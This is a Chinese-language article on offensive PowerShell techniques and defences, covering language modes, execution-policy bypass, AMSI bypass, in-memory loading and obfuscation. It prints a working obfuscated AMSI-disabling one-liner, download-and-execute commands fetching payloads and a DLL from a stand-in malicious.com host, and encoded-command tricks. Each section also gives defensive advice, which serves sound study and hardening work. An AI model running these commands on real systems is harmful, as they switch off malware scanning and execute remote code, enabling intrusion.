PowerShell 是 Windows 系統中強大的腳本語言和命令行工具,因其靈活性和與 .NET 框架的深度集成,成為攻擊者執行惡意操作的熱門選擇。從進攻性安全視角看,PowerShell 的語言模式、執行策略(Execution Policy)、AMSI 繞過技術、內存加載以及代碼混淆是攻擊者經常面臨的問題/常用的手段。本文將圍繞這些核心點,簡要分析 PowerShell 在進攻性安全中的應用及防御對策。
一、語言模式:PowerShell 的“rbash”
1.1 語言模式概述
PowerShell 的語言模式通過 $ExecutionContext.SessionState.LanguageMode
定義,控制腳本和命令的執行權限,類似于 Linux 中的限制性 shell(如 rbash)。它決定 PowerShell 環境中允許的操作類型,主要包括:
- FullLanguage:無限制模式,允許執行所有命令、腳本和動態代碼(如
Invoke-Expression
)。這是攻擊者的理想環境。 - ConstrainedLanguage:受限模式,允許基本腳本和 cmdlet,但禁止動態代碼生成和不安全操作,類似 rbash 的功能限制。
- RestrictedLanguage:更嚴格,僅允許簡單命令和變量操作,腳本執行被禁用。
- NoLanguage:最嚴格,僅限交互式命令,腳本完全禁用。
1.2 進攻性安全中的利用
語言模式是攻擊者的首要障礙。在 FullLanguage 模式下,攻擊者可以自由執行復雜腳本、調用 .NET 方法或加載外部 DLL。但在 ConstrainedLanguage 或 RestrictedLanguage 模式下,攻擊者需尋找繞過方法:
-
檢測語言模式:
if ($ExecutionContext.SessionState.LanguageMode -ne "FullLanguage") {Write-Host "Restricted mode detected, switching to alternative payload." }
-
繞過限制:
- 利用 .NET 反射調用非公開方法,繞過 ConstrainedLanguage 的限制。
- 切換到 PowerShell 2.0(無 AMSI 和語言模式限制):
powershell -Version 2 -Command "malicious code"
. - 使用 COM 對象或 Windows API 執行功能,規避 PowerShell 限制。
1.3 防御建議
- 強制 ConstrainedLanguage 模式:通過 Device Guard 或組策略(GPO)設置,限制動態代碼執行。
- 監控語言模式切換:記錄
$ExecutionContext.SessionState.LanguageMode
的更改,檢測異常行為。 - 禁用 PowerShell 2.0:防止攻擊者降級到無限制環境。
二、執行策略:限制腳本與模塊加載
2.1 執行策略概述
執行策略(Execution Policy)控制 PowerShell 腳本的運行條件,類似于限制外部模塊加載的機制。常見策略包括:
- Restricted:默認,禁止所有腳本運行,僅允許交互式命令。
- RemoteSigned:本地腳本可運行,遠程腳本需簽名。
- AllSigned:僅允許簽名腳本運行。
- Unrestricted:允許所有腳本運行。
- Bypass:完全忽略執行策略。
查看或設置策略:
Get-ExecutionPolicy
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
2.2 進攻性安全中的繞過
執行策略是攻擊者的第一道防線,常用繞過技術包括:
-
直接繞過:
powershell -ExecutionPolicy Bypass -File malicious.ps1
-
交互式命令:
- 在 Restricted 模式下,通過命令行輸入惡意代碼:
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
- 在 Restricted 模式下,通過命令行輸入惡意代碼:
-
非腳本執行:
- 執行策略僅限
.ps1
文件,攻擊者可通過.bat
、.vbs
或直接命令調用 PowerShell:powershell -Command "malicious code"
- 執行策略僅限
-
修改策略:
- 具有管理員權限時,攻擊者可修改策略為 Bypass:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass
- 具有管理員權限時,攻擊者可修改策略為 Bypass:
2.3 防御建議
- 鎖定執行策略:通過 GPO 強制 Restricted 或 AllSigned,防止修改。
- 監控策略更改:記錄
Set-ExecutionPolicy
的調用日志。 - 禁用命令行參數:通過安全軟件阻止
-ExecutionPolicy
參數。 - 使用簽名:確保腳本經過數字簽名,限制未簽名腳本運行。
三、AMSI Bypass:規避惡意代碼檢測
3.1 AMSI 簡介
反惡意軟件掃描接口(AMSI)是 Windows 10 及以上版本的安全功能,實時掃描 PowerShell 腳本并將其發送到反病毒軟件(如 Windows Defender)進行檢測。AMSI 是攻擊者執行惡意腳本的主要障礙。
3.2 AMSI Bypass 技術
攻擊者通過混淆和內存操作繞過 AMSI。以下是典型示例的分析:
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;
( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"( ( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ), ( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ) )."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
- 混淆:通過字符串拼接(如
'V'+'aR'
)和格式化(如"{1}{0}"-F'F','rE'
),隱藏敏感字符串(如AmsiUtils
),規避簽名檢測。 - 反射調用:通過 .NET 反射修改
System.Management.Automation.AmsiUtils
的amsiInitFailed
字段為True
,禁用 AMSI 掃描。 - 效果:AMSI 認為初始化失敗,跳過腳本掃描,允許惡意代碼執行。
其他繞過方法:
- 內存補丁:修改
AmsiScanBuffer
函數,禁用掃描。 - 降級 PowerShell:使用 PowerShell 2.0(無 AMSI 支持)。
- 環境變量:設置
PSExecutionPolicyPreference
為 Bypass。
3.3 防御建議
- 啟用 AMSI 日志:記錄 AMSI 掃描事件,檢測繞過嘗試。
- 監控反射調用:使用 EDR 工具檢測對
AmsiUtils
的異常訪問。 - 禁用 PowerShell 2.0:防止降級繞過。
- 強制腳本簽名:結合 AllSigned 策略,限制未簽名腳本。
四、內存加載與代碼混淆
4.1 內存加載
內存加載(In-Memory Execution)是攻擊者常用的技術,通過在內存中直接執行代碼,避免將惡意腳本寫入磁盤,降低被檢測的風險。常見方法包括:
-
Invoke-Expression:
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
-
反射加載 DLL:
$bytes = (New-Object Net.WebClient).DownloadData('http://malicious.com/malware.dll') [Reflection.Assembly]::Load($bytes)
-
內存中執行 shellcode:
- 使用 PowerShell 調用 Windows API(如
VirtualAlloc
和CreateThread
)執行 shellcode。
- 使用 PowerShell 調用 Windows API(如
4.2 代碼混淆
混淆是隱藏惡意代碼的關鍵技術,旨在規避 AMSI 和反病毒軟件的檢測。常見混淆方法:
- 字符串拼接:如
'S'+'eT-It'+'em'
代替Set-Item
。 - 格式化字符串:如
"{0}{1}" -f 'Invo','ke'
代替Invoke
。 - 變量混淆:使用隨機變量名或編碼(如 Base64)隱藏代碼邏輯。
- 編碼技術:將腳本編碼為 Base64 或其他格式:
$code = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('malicious code')) powershell -EncodedCommand $code
4.3 防御建議
- 監控網絡請求:檢測異常的 PowerShell 網絡活動(如
Net.WebClient
下載)。 - 啟用腳本塊日志:記錄所有執行的腳本內容,包括混淆后的代碼:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
- 使用行為檢測:EDR 工具監控內存操作和異常 API 調用。
- 沙箱分析:在沙箱中運行 PowerShell 腳本,分析其行為。
五、PowerShell 攻擊鏈與綜合防御
5.1 攻擊鏈中的 PowerShell
PowerShell 在攻擊鏈中的典型應用:
- 初始訪問:通過釣魚郵件或惡意宏運行 PowerShell 腳本。
- 權限提升:利用 PowerShell 調用 API 或修改配置獲取高權限。
- 持久化:通過注冊表或計劃任務實現持久化。
- 橫向移動:使用
Invoke-Command
在網絡中傳播。 - 數據竊取:下載敏感數據或執行勒索軟件。
5.2 綜合防御策略
- 最小權限:限制普通用戶的 PowerShell 訪問,僅允許管理員使用。
- 日志監控:啟用 PowerShell 腳本塊日志和 AMSI 日志,記錄所有活動。
- 行為檢測:使用 EDR 檢測異常的 PowerShell 行為(如網絡請求、反射調用)。
- 環境加固:
- 強制 ConstrainedLanguage 模式。
- 設置 AllSigned 執行策略。
- 禁用 PowerShell 2.0。
- 用戶教育:培訓用戶識別釣魚郵件和惡意宏,防止初始感染。
六、結論
PowerShell 的語言模式(類似 rbash)、執行策略(限制腳本和模塊加載)、AMSI 繞過、內存加載和代碼混淆是攻擊者利用 PowerShell 進行攻擊的核心技術。通過混淆和內存操作,攻擊者可以規避檢測,執行惡意代碼。防御者需通過嚴格的配置、日志監控和行為檢測構建多層次防御體系,降低 PowerShell 攻擊的風險。持續關注新的繞過技術和攻擊方法,是確保系統安全的關鍵。